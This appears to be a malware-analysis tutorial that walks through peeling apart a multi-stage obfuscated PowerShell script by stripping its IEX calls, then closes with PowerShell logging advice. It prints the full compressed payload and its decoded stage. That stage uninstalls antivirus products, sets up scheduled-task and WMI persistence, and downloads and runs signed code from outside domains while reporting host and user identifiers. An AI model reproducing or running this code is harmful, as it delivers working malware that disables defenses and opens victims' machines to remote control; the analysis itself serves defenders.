5289cb4cbbcaed727d7df51c8efbe387df3faf741b3475f3cffbdbe4d50d3799bbddc4eaf5b08268db17ea94d17797bb64dc0527a7814f28b1dc9fd7495e765b3ddd659db4015a5f270db3bbf8440d3f08bc5d5eee5ef954eb78964f95cdfa5815c1121a7779951dbac5c2df237f9b2783ea3f1d0980fe9734c13bd4f88eedd234c2059d7cdf577e8c7bbe6aa9a19892aae3094290019e8d4844604bab5eb69feeef45044e1453e6f77e9b7cbdfeb136acd6f10315ffce2df336d30f465be585fd4c7db2034387f55d4d366b26e40d0aaaa4128e2a1558377b6d39a61ae9b65050a03eaa9877fda345979b24d2f2c8934cb39949b11c0b362f15d5075ebb33a17008777564692dad7294bdd715dd5f5e976fa4b40896f9f9e8300d7af7fffd75f120fbffcfdb3367b3a333cd7b6d982388abfd8bbb72cbe4bcdd3e3d767d4394685fecfdafc82b5ee9bf4f4d5e9b7bf9beeec7c7a2f7d71f6ed3767df4d09fd4bfaf214e2405d6746a68bf362868fbed0419cfdfebf7ffac597af9e61a2bf95be39397dae2d4f5f8394d775befe09fd04483fff89ef32852fb2f5c512526f9a5343fc264a61fd1368bb77b92830d1983821f56720f56b901ae8d10ceaf4c9dc9d0773673801f38751d2ff65169d2cc526d3bc35cd56afcd9cb625bd5c3ce33e69b8e12cd2c4d1b776eedab27826fddf8e710ceb4b5fa44f66cbe209b1807ece9c50bd01f6b9b101d483c5c2f1b687cf778d781ab1bb4393bf6a7e7a9c65f4cbe8dba7fa967c461f6d1126e50a1ec49dfb5b8443dd02d3f19a084badcff7bef2da50576836daf11b2a406dbfebb71f37ab05cd10bdf67b7de604df436e99bd224654c3a4d3e9be57c8bf71f28bef34c0c7dacc22c59f5bf36996d7d5b901a65f924ade2c32d4992f354c5e92187d9d05c770822f3f78edcc529ad036c2a38d5586a8198b111823358a00e8642c3f2c3c8edb03311219b2c2432d4418444ba00f2742f8f202024aaa1e72e60bcd80c4d04764a3266f696e26a1b8dc8e5d3d99d8201096013125bff8ce6e5b54339a2c2552da56cbedadf3025f7e6c9c008cee97fce2f9d4307936fd25f8fe4bc8eeca90f7f4dc204f9f4e6846187fe0c6089d6bb3ed94be8a0c0253c883c07407e3c0076e280a663b255fe2a7275f9e7d61669786f5f967bb06450c8a7ffd187afc523ffdbd78ccd75039ad38713c905ff263f837b08d3ff66332c2d5122c4f389e2f0de85dfdc96283f1c1a9f458665d5b4f515b2ab45dd3817eecfaf925f687fc04adc13a537c62bf92dfcad248f472bb5d570f3f3fbf431f2d217e76c27ed168271d994fdd2ffbe9e84e548b384aa93e01cd9dda09f5c98022d19ea14f7eaf1191e5e91727bfffeb97f4cb967e639a968bdf7b0cf2304ac624d28c9b0fb7e8e79b1a7ee10579f9753e331e6c0546a4063f6669f163bff8ce9da0ab665964e4459d8cadd08c89d7dcdc90738c1ece0b0be2175fd72dfdaa5d989ffc4d7a47ff6a445b01545b2c8bf3fc29e1aadfc938c84715d75b3f4527a9aa3fd3d11d526f851938bdf09650d211db965ef77776b7c045fac91be26ea645754e2f7c66a8e6204a27a0c6b961591084b514bdf5ac3594fe7c7c59376d0328044f3f14b01d36edf1a72535f9868e65520a1b66c53cbd127f118ea242a5afab156b0092108aafe8ef50a29cde3172b4f3695a2deeea87e9e99baf5e9c7d914e1bc46044a2a995acc6cd99cc55de94791ae2a9df035dead96117e0d443c879211e423e26048b0d559342d23b78614eed84678dd856e637674ee9a3f4b3943b53f2fe127c0199bbf84c90f8c518ce2fb923edb73e713a1661035ce9e2bbf49b7eda9e57afab7a5a7c4110a0771504778fbee9e35f7c672ffd45f9767aef7777b6aa3092c02848570ad182d8d5b7b4ad7eadaf505fe8cebacabfc8bcb513be65858b3994f54723fe81bef6e53be6d2e5d9a347dfbfceea3afb1ed1072f1b42aa77e1dc0ac7602c374e89776c2848ad136d3f9669dddba579a5af83a9ed3359c05c910e0cabc43b21f8dccf8dfca360eea68e9884034c8087869d50fd532db76fb2d972a879bed34195f52ad408beb0ea417483a71414aad18d0c694b02f713db0a9f6af43aa6cc004536d3d7a9cd83c0305348656cf4f655fe8226d47f979c5e0c74514dc70fd7f72693712bceaf7c52e76f7f30a6effd0f41cbfade0f7ec02db77ecfcf982578c877ee7cfabbdf59904c64afe0036c7df2e916f9756bf4ef3e8599dcdbdb1d8f1f3ca4e4d8787cffd34f1edc1f8f0ff6b7befffdef5162895275cba2fae9ed7459afdb5cfc4b9e8a5f7c674b44030a1e384d97eb7343deba6a33e38b92bd5a168bd93174cbf7f3b27a453ea87e5516eb272ab5e3325b155332a62fc7d76d5153b0fbfa7b5bd2ba39e394165e20824b0e8030874cb405fd3d3bebc320842c98efdb8fc1387e53851af4aa9f7d6febb34c26453ff88d13a2ef9db26649cb0eef88907f4b7e3089ee08b16b23bea3a7675f7d35be63677f3da37c84b8f264c5d7488888972eec505194b10dad363afde2f8c5ab5383c9578f2e973974837cfce6ab975f7c79c29f6903c2e7f72455c888fc1ef4ff4f2ea935fee648e9ae7ca1dfef7d25bad07dc2ee8afbf3eedd47abb69df31f460d7d26a3fe25bfe497dc99d04fc3183ce8ad77f977ab9f22a067bfd84ed29d3bdfdf7d402cb5f3bd19373724f5d849fca6d7fb9fe64df66451195e794693dad6c6221befd4444fd594d2a62499c52511128da85be54611b9aa5d5dd727bbc7df7e3dbe36199455565f207bc45fd14f4cb47e45f3adbf91e38f39704a4684736b34e1d9a668ebfabca02cd5b8164543690efce292580ac74b712ecec6083ba9d9a145d9c7f2f8f52b4292b1e3bfc7f0be95073dfdf0197a3cdcdd79b733dac13ff8ed3362fa65b57a773a061686153fdbd9cdbe3d7bfe2545c8869c0f5e7dfafb9ce5e7bb3fbd7b39fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bf08a2bcffea07ef96f7a6c7af7fea607af5f6d54ebd738f5cc6e793f5f3d5c1eec1f362faf4bb3baf7e9fbb6fa0b0f7ea7bbfd78345f9eddfe76c5ab43f78f383cbbd172fee7d71f5f0ecd9cb9fde7f5b7ff77cefd39f6cbf3d59bf582edebcb877975eb93cb8bc982d56bff793ddcf2f7feff583ddeabb8b3d67c7a1c48437f423cb22c21bf22981f945f9a5c7179f35fafbda38c5246daeed1742a9c6b2964e9b4c02b5f0e7c134e9cf0503f9fe94fe1d8fef3dd865f6fe0c2cf28befd09f690b0f663bc5f70a03f102710bb4ee74ccada792b63bbc73676bb6ccabd6389a19471477b616f44bdbe4e459537aae267530be63e304ff43564362234197265fffa2bc9ee45763e3cf62d8cbefc19065f92b1874007e0dc58854f699c254d543a333c4dcda6af2f67a62dde28bf1c1796b222bea0ad91e02504d97f9d8a8b67779fb3dfd95befa6cc614114529ee3f990670a86455d4d051cbd3f3d9ec8b2faee9f9fde5cf541280dbb0fe4fc56891d9803efb3de8e767f48b76c3302030f0c5c9d559926f92bfab2617cd02c9666db532c2b826f78284a60477379476b864ff1669d99d9d1d8a8d966bb2fb799d5d95d917db64538e390b4d6490cfe8ad2f9c5bb9fb4b1d85c136f54b581bcadc9ec0c491974419236dcaeec025e21fc779a4ff96ec10b5dcb19988d2ad89003722d7efae1f18cb44a424fdf2e277ff3632026f6971807878892e73027ea549408ae4606756bc3480c4553aa1a173565b30f351eae282dfb477edfbfc776fd675f19320894187baff18993b8bc1c758195124a47743fe5b224100627828142586a1c2d0f0b9677de5c3877ffebb43295c66bfbbd34c839d767a335c39dc21b5409f0ab9df75db64e8d9756938e3869ebd6ef50de95dfff091d08f86066f59ef2da9cc5593fd5ebffb00d9c1093773dcc7589db24450d89b88dfe6cde9c689ee756748647b9d439571a6e2f7c677dfdfb9f7bdd3c597df6e5ed25a2aad84ef7deff48b2fe7aff157ba958ed38fb768c9fc301d6fa5bfdb65fe6a5235f9cbfaf49cb2a42f4ef2f19b2f5fb7f5d9f262ebcef77647f7beff09adac6fff7475b6fcf8e33bd4c7e779bb7d79fcea2c9b3c3f4dd3f2ea414e99dd3be3cbacfc2affde36f941db5be9e656e3325f7efe669edef9fef64f7f59bc20b0bf71f2ff00'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
As you read the content, it has an IEX
cmdlet at the beginning of the code.
Using your text editor, Identify the IEX
cmdlet and remove it from the code. Thus make your code looks like below:
$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601 ....
Add variable and equal sign in front of the code. Give any variable name you wanted. In my case, I’ll be using $decoded
as my variable. Our objective in doing this is to make the decoded value stores in our $decoded
variable so that then we can view the decoded value.
Our code will look like below:
$decoded = $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601 ....
Copy the full code into the ISE editor.
After copy the code, run the code by click the “Green Play” icon above the tab. This will make our code run and store the decoded value in variable $decoded
.
As you can see in blue PowerShell, the code is executed.
Print the value stored in the $decoded
variable into a text file, so that we can view it in our text editor. You might want to change your directory first.
cd C:\Users\<user name>\Desktop
echo $decoded > decoded_1.txt
Because the malware encodes the script multiple times, so I name my decoded text file with the number at the back to indicate my phase in deobfuscate the code.
Open the decoded file and repeat steps 1 until 5.
The figure below shows the comparison between the original code and decoded version. The problem here, the author of the malware encodes the script multiple times using different techniques.
Using this technique, we don’t need to manually decode the Char
, reverse char, and many more obfuscation techniques in a manual way. From now, repeat steps 1 until 5. Let’s follow along.
Identify the IEX
and remove it first:
If you don’t know what the line does, just run the line in PowerShell like below. Figure below shows that .( $veRbosePrEfERENCe.TOStrIng()[1,3]+'X'-joIn'')
is actually Invoke-Expression cmdlet.
If we look into this code, this code stores these long strings (the code) into the variable $LW7eF
.
$LW7eF= ")'X'+]31[DillEhs$+]1[dilLEHs$ (. |)29]rAHc[]GNirtS[,)15]rAHc[+65]rAHc[+401]rAHc[((EcalPer.)'$','0N9'(EcalPer.)93]rAHc[]GNirtS[,)401]rAHc[+201]rAHc[+311]rAHc[((EcalPer.)'
<--- snippet --->
ehfq+hfqvitcaretnionhfq+hfq/ llatsninu llac OgpHEf%%hfq+hfqyksrepsaK%%HEf ekil emanOgp erehw'+' tcudorp exe.cimw b/ trats c/ dmc
'+'
evitcarethfq+hfqnion/ llatsninu llac OgpHEf%tesE%HEf ekil emanOgp erehw tcudorp exe.cimw b/ trhfq+hfqats c/ dmchfq(( )hfqXhfq+]03[EmOHsP0N9+]12[EMOhSP0N9 ( . '( "; .( $veRbosePrEfERENCe.TOStrIng()[1,3]+'X'-joIn'')(( Get-vARIabLE lw7ef ).valUe[-1..-( ( Get-vARIabLE lw7ef ).valUe.lenGTh )]-jOiN'')
At the final line, the value will be decoded with the line (( Get-vARIabLE lw7ef ).valUe[-1..-( ( Get-vARIabLE lw7ef ).valUe.lenGTh )]-jOiN'')
and being execute using IEX
represent in obfuscated way .( $veRbosePrEfERENCe.TOStrIng()[1,3]+'X'-joIn'')
.
So we’ve done removing the IEX.
Next, copy the whole code but without (( Get-vARIabLE lw7ef ).valUe[-1..-( ( Get-vARIabLE lw7ef ).valUe.lenGTh )]-jOiN'')
line and execute it. We will execute this line seperately.
Then run the above line (( Get-vARIabLE lw7ef ).valUe[-1..-( ( Get-vARIabLE lw7ef ).valUe.lenGTh )]-jOiN'')
but with the variable $decoded
and equal sign at the front like in the below figure. Then, print the value into a text file.
On the right side. Our code becomes more readable than before (left side). All we need to continue to deobfuscate the code again.
Identify and remove IEX
Append our variable in front of the code.
$decoded = (' . ( 9N0PShOME[21]+9N0PsHOmE[30]+qfhXqfh) ((qfhcmd /c staqfh+qfhrt /b wmic.exe product where pgOname like fEH%Eset%fEHpgO call uninstall /noinqfh+qfhteractive
'+'
cmd /c start /b wmic.exe product '+'where pgOname like fEH%%Kasperskyqfh+qfh%%fEHpgO call uninstall /qfh+qfhnointeractivqfh+qfhe
<--- snippet --->
schqfh+qfhtasks /delete /tn Rtsa /Fqfh).RePlacE(([Char]75+[Char]118+[Char]49),qfh9N0qfh).RePlacE(([Char]102+[Char]'+'69+[Char]72),[STrINg][Char]'+'39).RePlacE(qfhf'+'G9qfh,[STrINg][Char'+']124).RePlacE(('+'[Char]120+[Char]74+'+'[Char]121),qfhh83qfh).RePlacE(([Char]90+[Char]111+[Char]87),[STrINg][Char]96).RePlacE(([Char]112+[Char]103+[Char]79),[STrINg][Char'+']34)'+' )
').rePlacE(([cHAr]113+[cHAr]102+[cHAr]104),[StriNG][cHAr]39).rePlacE('9N0','$').rePlacE(([cHAr]104+[cHAr]56+[cHAr]51),[StriNG][cHAr]92)
Copy the whole code and execute it in PowerShell ISE. Print value of variable decoded into another text file.
Based on the result, still we can see that the code is not fully deobfuscated. Repeat the steps until we get the clean version of the code.
Below is the final deobfuscation of the code, and the script has now become clean and readable.
Original obfuscate code
I`EX $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$('edbd07601c499625262f6dca7b7f4af54ad7e074a10880601324d8904010ecc188cde692ec1d69472329ab2a81ca6556655d661640cced9dbcf7de7befbdf7de7befbdf7ba3b9d4e27f7dfff3f5c6664016cf6ce4adac99e2180aac81f3f7e7c1f3f227eb7e7df7d903ffb2c4d3fbaf3f1effdf127dfbfb7fbbda745599ece9bdfed93efef7e6f5694cf4fbfddfc6ee9d638fd993b7b0fbf5f1f7f7bfabdef7ffea2a8dbd7df1bddd9bd2f9f7cf2a9f9657f67577edbda3a9d66e5cbbc1edff9f877fb78f4f1ce8b871fbb8f1edeeb82b22f7eb2677fbbb71b01f61b27bf7192de493ffee4e33bfbf7be4f3fea6c7ef2bdef5fbc38abdf00d0c307dfe74f3eb90738fcdbdeaefe66e0bc1adff9f4a17ce45e7c70a0cd774df34f76b491f7defcfc17dd3b98d3bf34fa3d6d47487cb26fbaddf13ef5dedba78f7bc81298879fd3a7e7f48b6bfaf01e7dd4c56ecfc07ff8a9fd5648d5479068cd083edcd776077644f7154cf8c2b3bb69d6b4afd2657b37cddbbccc6777d3e66d93b5f4dd27f4fff9b401d9a9d9ee40bb694358699bbdacd1f7d0d4fcda7f03cd7fe3e4edb42a279f2dabc27436cdd2fbf7763f6beb6aa59f94fa33a3a6e96ada7e5656d3aaadea55ba2c3eab8b59fae5c58a5eb95ee633faedb39c505964cb342fd7752aafd227bf6836cbd2b2ccaef2ba38b7bf5cd287f3a6cd97820ab533d8008dfd7d46a344c78a83f66f70eda1b1bfcf681020c284fed586f922a33f14a79b31b9779f3b6ea7f972594dd3dd31fff759d3e435bd6c3e7eb877fffea7dc7099b74d51a6fb9755bb7fc9f0afdf1162f82acda7d9799db7cb22cddfe563ee82e70a98d1ff7fe364f6fac553fde3b5c0c4209572bfe862592cf355c5a07cc40906006a2b819b4e6996dfd137f978b6986220bfc4eb279fd6d5b3dfe3f7f83dd2dd345f97d94f6ea74f5f7df9dda769beba7eb36dba23d26394ab4575929793ac299e82ac0d0d804858672fafbff3aece2febfcf5325b2cb3e7f467934f0b7c40bfb6f9ebb2aadb6545289cb4cbbcaed727d7df51c8efbe387df3faf741b3475f3cffbdbe4d50d3799bbddc4eaf5b08268db17ea94d17797bb64dc0527a7814f28b1dc9fd7495e765b3ddd659db4015a5f270db3bbf8440d3f08bc5d5eee5ef954eb78964f95cdfa5815c1121a7779951dbac5c2df237f9b2783ea3f1d0980fe9734c13bd4f88eedd234c2059d7cdf577e8c7bbe6aa9a19892aae3094290019e8d4844604bab5eb69feeef45044e1453e6f77e9b7cbdfeb136acd6f10315ffce2df336d30f465be585fd4c7db2034387f55d4d366b26e40d0aaaa4128e2a1558377b6d39a61ae9b65050a03eaa9877fda345979b24d2f2c8934cb39949b11c0b362f15d5075ebb33a17008777564692dad7294bdd715dd5f5e976fa4b40896f9f9e8300d7af7fffd75f120fbffcfdb3367b3a333cd7b6d982388abfd8bbb72cbe4bcdd3e3d767d4394685fecfdafc82b5ee9bf4f4d5e9b7bf9beeec7c7a2f7d71f6ed3767df4d09fd4bfaf214e2405d6746a68bf362868fbed0419cfdfebf7ffac597af9e61a2bf95be39397dae2d4f5f8394d775befe09fd04483fff89ef32852fb2f5c512526f9a5343fc264a61fd1368bb77b92830d1983821f56720f56b901ae8d10ceaf4c9dc9d0773673801f38751d2ff65169d2cc526d3bc35cd56afcd9cb625bd5c3ce33e69b8e12cd2c4d1b776eedab27826fddf8e710ceb4b5fa44f66cbe209b1807ece9c50bd01f6b9b101d483c5c2f1b687cf778d781ab1bb4393bf6a7e7a9c65f4cbe8dba7fa967c461f6d1126e50a1ec49dfb5b8443dd02d3f19a084badcff7bef2da50576836daf11b2a406dbfebb71f37ab05cd10bdf67b7de604df436e99bd224654c3a4d3e9be57c8bf71f28bef34c0c7dacc22c59f5bf36996d7d5b901a65f924ade2c32d4992f354c5e92187d9d05c770822f3f78edcc529ad036c2a38d5586a8198b111823358a00e8642c3f2c3c8edb03311219b2c2432d4418444ba00f2742f8f202024aaa1e72e60bcd80c4d04764a3266f696e26a1b8dc8e5d3d99d8201096013125bff8ce6e5b54339a2c2552da56cbedadf3025f7e6c9c008cee97fce2f9d4307936fd25f8fe4bc8eeca90f7f4dc204f9f4e6846187fe0c6089d6bb3ed94be8a0c0253c883c07407e3c0076e280a663b255fe2a7275f9e7d61669786f5f967bb06450c8a7ffd187afc523ffdbd78ccd75039ad38713c905ff263f837b08d3ff66332c2d5122c4f389e2f0de85dfdc96283f1c1a9f458665d5b4f515b2ab45dd3817eecfaf925f687fc04adc13a537c62bf92dfcad248f472bb5d570f3f3fbf431f2d217e76c27ed168271d994fdd2ffbe9e84e548b384aa93e01cd9dda09f5c98022d19ea14f7eaf1191e5e91727bfffeb97f4cb967e639a968bdf7b0cf2304ac624d28c9b0fb7e8e79b1a7ee10579f9753e331e6c0546a4063f6669f163bff8ce9da0ab665964e4459d8cadd08c89d7dcdc90738c1ece0b0be2175fd72dfdaa5d989ffc4d7a47ff6a445b01545b2c8bf3fc29e1aadfc938c84715d75b3f4527a9aa3fd3d11d526f851938bdf09650d211db965ef77776b7c045fac91be26ea645754e2f7c66a8e6204a27a0c6b961591084b514bdf5ac3594fe7c7c59376d0328044f3f14b01d36edf1a72535f9868e65520a1b66c53cbd127f118ea242a5afab156b0092108aafe8ef50a29cde3172b4f3695a2deeea87e9e99baf5e9c7d914e1bc46044a2a995acc6cd99cc55de94791ae2a9df035dead96117e0d443c879211e423e26048b0d559342d23b78614eed84678dd856e637674ee9a3f4b3943b53f2fe127c0199bbf84c90f8c518ce2fb923edb73e713a1661035ce9e2bbf49b7eda9e57afab7a5a7c4110a0771504778fbee9e35f7c672ffd45f9767aef7777b6aa3092c02848570ad182d8d5b7b4ad7eadaf505fe8cebacabfc8bcb513be65858b3994f54723fe81bef6e53be6d2e5d9a347dfbfceea3afb1ed1072f1b42aa77e1dc0ac7602c374e89776c2848ad136d3f9669dddba579a5af83a9ed3359c05c910e0cabc43b21f8dccf8dfca360eea68e9884034c8087869d50fd532db76fb2d972a879bed34195f52ad408beb0ea417483a71414aad18d0c694b02f713db0a9f6af43aa6cc004536d3d7a9cd83c0305348656cf4f655fe8226d47f979c5e0c74514dc70fd7f72693712bceaf7c52e76f7f30a6effd0f41cbfade0f7ec02db77ecfcf982578c877ee7cfabbdf59904c64afe0036c7df2e916f9756bf4ef3e8599dcdbdb1d8f1f3ca4e4d8787cffd34f1edc1f8f0ff6b7befffdef5162895275cba2fae9ed7459afdb5cfc4b9e8a5f7c674b44030a1e384d97eb7343deba6a33e38b92bd5a168bd93174cbf7f3b27a453ea87e5516eb272ab5e3325b155332a62fc7d76d5153b0fbfa7b5bd2ba39e394165e20824b0e8030874cb405fd3d3bebc320842c98efdb8fc1387e53851af4aa9f7d6febb34c26453ff88d13a2ef9db26649cb0eef88907f4b7e3089ee08b16b23bea3a7675f7d35be63677f3da37c84b8f264c5d7488888972eec505194b10dad363afde2f8c5ab5383c9578f2e973974837cfce6ab975f7c79c29f6903c2e7f72455c888fc1ef4ff4f2ea935fee648e9ae7ca1dfef7d25bad07dc2ee8afbf3eedd47abb69df31f460d7d26a3fe25bfe497dc99d04fc3183ce8ad77f977ab9f22a067bfd84ed29d3bdfdf7d402cb5f3bd19373724f5d849fca6d7fb9fe64df66451195e794693dad6c6221befd4444fd594d2a62499c52511128da85be54611b9aa5d5dd727bbc7df7e3dbe36199455565f207bc45fd14f4cb47e45f3adbf91e38f39704a4684736b34e1d9a668ebfabca02cd5b8164543690efce292580ac74b712ecec6083ba9d9a145d9c7f2f8f52b4292b1e3bfc7f0be95073dfdf0197a3cdcdd79b733dac13ff8ed3362fa65b57a773a061686153fdbd9cdbe3d7bfe2545c8869c0f5e7dfafb9ce5e7bb3fbd7b39fd89af56cff7eefea09cfcf4eae4f9d39f9edc3ff862e7e4feef53ae7fd177df2e4fbeca5f3c9fef9fe7bf08a2bcffea07ef96f7a6c7af7fea607af5f6d54ebd738f5cc6e793f5f3d5c1eec1f362faf4bb3baf7e9fbb6fa0b0f7ea7bbfd78345f9eddfe76c5ab43f78f383cbbd172fee7d71f5f0ecd9cb9fde7f5b7ff77cefd39f6cbf3d59bf582edebcb877975eb93cb8bc982d56bff793ddcf2f7feff583ddeabb8b3d67c7a1c48437f423cb22c21bf22981f945f9a5c7179f35fafbda38c5246daeed1742a9c6b2964e9b4c02b5f0e7c134e9cf0503f9fe94fe1d8fef3dd865f6fe0c2cf28befd09f690b0f663bc5f70a03f102710bb4ee74ccada792b63bbc73676bb6ccabd6389a19471477b616f44bdbe4e459537aae267530be63e304ff43564362234197265fffa2bc9ee45763e3cf62d8cbefc19065f92b1874007e0dc58854f699c254d543a333c4dcda6af2f67a62dde28bf1c1796b222bea0ad91e02504d97f9d8a8b67779fb3dfd95befa6cc614114529ee3f990670a86455d4d051cbd3f3d9ec8b2faee9f9fde5cf541280dbb0fe4fc56891d9803efb3de8e767f48b76c3302030f0c5c9d559926f92bfab2617cd02c9666db532c2b826f78284a60477379476b864ff1669d99d9d1d8a8d966bb2fb799d5d95d917db64538e390b4d6490cfe8ad2f9c5bb9fb4b1d85c136f54b581bcadc9ec0c491974419236dcaeec025e21fc779a4ff96ec10b5dcb19988d2ad89003722d7efae1f18cb44a424fdf2e277ff3632026f6971807878892e73027ea549408ae4606756bc3480c4553aa1a173565b30f351eae282dfb477edfbfc776fd675f19320894187baff18993b8bc1c758195124a47743fe5b224100627828142586a1c2d0f0b9677de5c3877ffebb43295c66bfbbd34c839d767a335c39dc21b5409f0ab9df75db64e8d9756938e3869ebd6ef50de95dfff091d08f86066f59ef2da9cc5593fd5ebffb00d9c1093773dcc7589db24450d89b88dfe6cde9c689ee756748647b9d439571a6e2f7c677dfdfb9f7bdd3c597df6e5ed25a2aad84ef7deff48b2fe7aff157ba958ed38fb768c9fc301d6fa5bfdb65fe6a5235f9cbfaf49cb2a42f4ef2f19b2f5fb7f5d9f262ebcef77647f7beff09adac6fff7475b6fcf8e33bd4c7e779bb7d79fcea2c9b3c3f4dd3f2ea414e99dd3be3cbacfc2affde36f941db5be9e656e3325f7efe669edef9fef64f7f59bc20b0bf71f2ff00'-split'(..)'|?{$_}|%{[convert]::ToUInt32($_,16)}))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
Deobfuscated code
cmd /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractivecmd /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
cmd /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
cmd /c "C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe" /verysilent /suppressmsgboxes /norestart
$v="?$v"+(Get-Date -Format '_yyyyMMdd')
$tmps='function a($u){$d=[text.encoding]::utf8.getbytes((new-object IO.StreamReader([net.webrequest]::create($u).getresponse().getresponsestream())).readtoend());$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String(''2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10='');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url=''http://''+''U1''+''U2''+''/a.jsp'+$v+'?''+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join''*'');a($url)'$sa=([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
function getRan(){return -join([char[]](48..57+65..90+97..122)|Get-Random -Count (6+(Get-Random)%6))}
$us=@('t.zz3r0.com','t.zker9.com','t.bb3u9.com')
$stsrv = New-Object -ComObject Schedule.Service
$stsrv.Connect()
try{
$doit=$stsrv.GetFolder("\").GetTask("blackball")
}catch{}
if(-not $doit){
if($sa){
schtasks /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"
} else {
schtasks /create /sc MINUTE /mo 120 /tn blackball /F /tr "blackball"
}
foreach($u in $us){
$i = [array]::IndexOf($us,$u)
if($i%3 -eq 0){$tnf=''}
if($i%3 -eq 1){$tnf=getRan}
if($i%3 -eq 2){if($sa){$tnf='MicroSoft\Windows\'+(getRan)}else{$tnf=getRan}}
$tn = getRan
if($sa){
schtasks /create /ru system /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -c PS_CMD"
} else {
schtasks /create /sc MINUTE /mo 60 /tn "$tnf\$tn" /F /tr "powershell -w hidden -c PS_CMD"
}
start-sleep 1
$folder=$stsrv.GetFolder("\$tnf")
$taskitem=$folder.GetTasks(1)
foreach($task in $taskitem){
foreach ($action in $task.Definition.Actions) {
try{
if($action.Arguments.Contains("PS_CMD")){
$folder.RegisterTask($task.Name, $task.Xml.replace("PS_CMD",$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5))), 4, $null, $null, 0, $null)|out-null
}
}catch{}
}
}
start-sleep 1
schtasks /run /tn "$tnf\$tn"
start-sleep 5
}
}try{
$doit1=Get-WMIObject -Class __EventFilter -NameSpace 'root\subscription' -filter "Name='blackball'"
}catch{}
if(-not $doit1){
Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="blackball";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop
foreach($u in $us){ $theName=getRan
$wmicmd=$tmps.replace('U1',$u.substring(0,5)).replace('U2',$u.substring(5)).replace('a.jsp','aa.jsp')
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=(Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name="f"+$theName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";} -ErrorAction Stop);Consumer=(Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="c"+$theName;ExecutablePath="c:\windows\system32\cmd.exe";CommandLineTemplate="/c powershell -c $wmicmd"})}
start-sleep 5 }
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 ???Force}
cmd.exe /c netsh.exe firewall add portopening tcp 65529 SDNSdnetsh.exe interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445 action=block
netsh advfirewall firewall add rule name="deny135" dir=in protocol=tcp localport=135 action=blockschtasks /delete /tn Rtsa2 /F
schtasks /delete /tn Rtsa1 /F
schtasks /delete /tn Rtsa /F
Sometimes we as analyst might lazy doing this repetitive task which consist of decoding the multiple stages. Another cheat tips for analyst (also logging detection best practice concern) is enable the Powershell Module Logging, Script Block Logging and Trasncription.
Even though we had useful artifact of ConsoleHost_History
located at %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
, which saves all of the commands that you type in the PowerShell console or in easy term, view the history of the PowerShell… the log does not have full visibility of the Powershell activity. Figure below shows the history command we ran:
Looking in the above figure, the visibility of this log only shows the history of command. Thus you might want to configure Powershell Logs properly and leverage full potential of the logging capabilities.
Under Computer Configuration
> Policies
> Administrative Settings
> Windows Components
> Windows PowerShell
you will find the settings for enabling logging:
For details, you can refer https://www.mandiant.com/resources/blog/greater-visibility for more information.
Also, you might wanted to record all sessions of the Powershell transcript in a text file which can be useful reviewing the recorded log after executing your malware, or to track Powershell activities by the attacker.
Open Powershell as Administrator and execute this command:
$psLoggingPath = 'HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription'
